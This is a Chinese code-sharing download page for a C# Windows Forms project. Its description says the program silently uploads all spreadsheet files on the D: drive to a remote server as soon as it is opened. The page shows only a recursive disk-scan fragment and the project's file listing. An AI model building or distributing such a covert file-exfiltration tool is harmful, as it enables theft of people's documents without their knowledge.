资源简介

打开软件即开始 将d盘下的 xls和xlsx文件 上传到指定服务器,仅供参考学习

资源截图

代码片段和文件信息

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Net;
using System.Text;
using System.Windows.Forms;

namespace WindowsFormsApplication6
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        static void Foo(DirectoryInfo di)
        {
            if (!di.Exists) return;
            DirectoryInfo[] dis = di.GetDirectories();
            for (int i = 0; dis != null && i < dis.Length; i++)
            {
                try
                {
                    Foo(dis[i]); // 递归扫描指定物理硬盘
                }
                catch (Exception)
                {
                    continue;
   

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2020-04-22 11:05  WindowsFormsApplication6\
     文件        2206  2020-04-22 10:58  WindowsFormsApplication6\Form1.Designer.cs
     文件        8649  2020-04-22 11:05  WindowsFormsApplication6\Form1.cs
     文件       12743  2020-04-22 10:58  WindowsFormsApplication6\Form1.resx
     文件         485  2020-04-22 10:36  WindowsFormsApplication6\Program.cs
     目录           0  2020-04-22 10:36  WindowsFormsApplication6\Properties\
     文件        1374  2020-04-22 10:36  WindowsFormsApplication6\Properties\AssemblyInfo.cs
     文件        2861  2020-04-22 10:36  WindowsFormsApplication6\Properties\Resources.Designer.cs
     文件        5612  2020-04-22 10:36  WindowsFormsApplication6\Properties\Resources.resx
     文件        1111  2020-04-22 10:36  WindowsFormsApplication6\Properties\Settings.Designer.cs
     文件         249  2020-04-22 10:36  WindowsFormsApplication6\Properties\Settings.settings
     文件        3571  2020-04-22 10:38  WindowsFormsApplication6\WindowsFormsApplication6.csproj
     目录           0  2020-04-22 10:36  WindowsFormsApplication6\bin\
     目录           0  2020-04-22 11:06  WindowsFormsApplication6\bin\Debug\
     文件       16384  2020-04-22 11:06  WindowsFormsApplication6\bin\Debug\WindowsFormsApplication6.exe
     文件       24064  2020-04-22 11:06  WindowsFormsApplication6\bin\Debug\WindowsFormsApplication6.pdb
     文件       21680  2020-04-22 11:06  WindowsFormsApplication6\bin\Debug\WindowsFormsApplication6.vshost.exe
     文件         490  2017-04-11 11:11  WindowsFormsApplication6\bin\Debug\WindowsFormsApplication6.vshost.exe.manifest
     目录           0  2020-04-22 10:36  WindowsFormsApplication6\obj\
     目录           0  2020-04-22 11:06  WindowsFormsApplication6\obj\Debug\
     文件         790  2020-04-22 10:36  WindowsFormsApplication6\obj\Debug\DesignTimeResolveAssemblyReferences.cache
     文件        6249  2020-04-22 10:36  WindowsFormsApplication6\obj\Debug\DesignTimeResolveAssemblyReferencesInput.cache
     目录           0  2020-04-22 13:51  WindowsFormsApplication6\obj\Debug\TempPE\
     文件        4852  2020-04-22 11:06  WindowsFormsApplication6\obj\Debug\WindowsFormsApplication6.Form1.resources
     文件         180  2020-04-22 11:06  WindowsFormsApplication6\obj\Debug\WindowsFormsApplication6.Properties.Resources.resources
     文件        1122  2020-04-22 11:06  WindowsFormsApplication6\obj\Debug\WindowsFormsApplication6.csproj.FileListAbsolute.txt
     文件         847  2020-04-22 11:06  WindowsFormsApplication6\obj\Debug\WindowsFormsApplication6.csproj.GenerateResource.Cache
     文件       16384  2020-04-22 11:06  WindowsFormsApplication6\obj\Debug\WindowsFormsApplication6.exe
     文件       24064  2020-04-22 11:06  WindowsFormsApplication6\obj\Debug\WindowsFormsApplication6.pdb
     文件        1039  2020-04-22 10:36  WindowsFormsApplication6.sln

评论

共有 条评论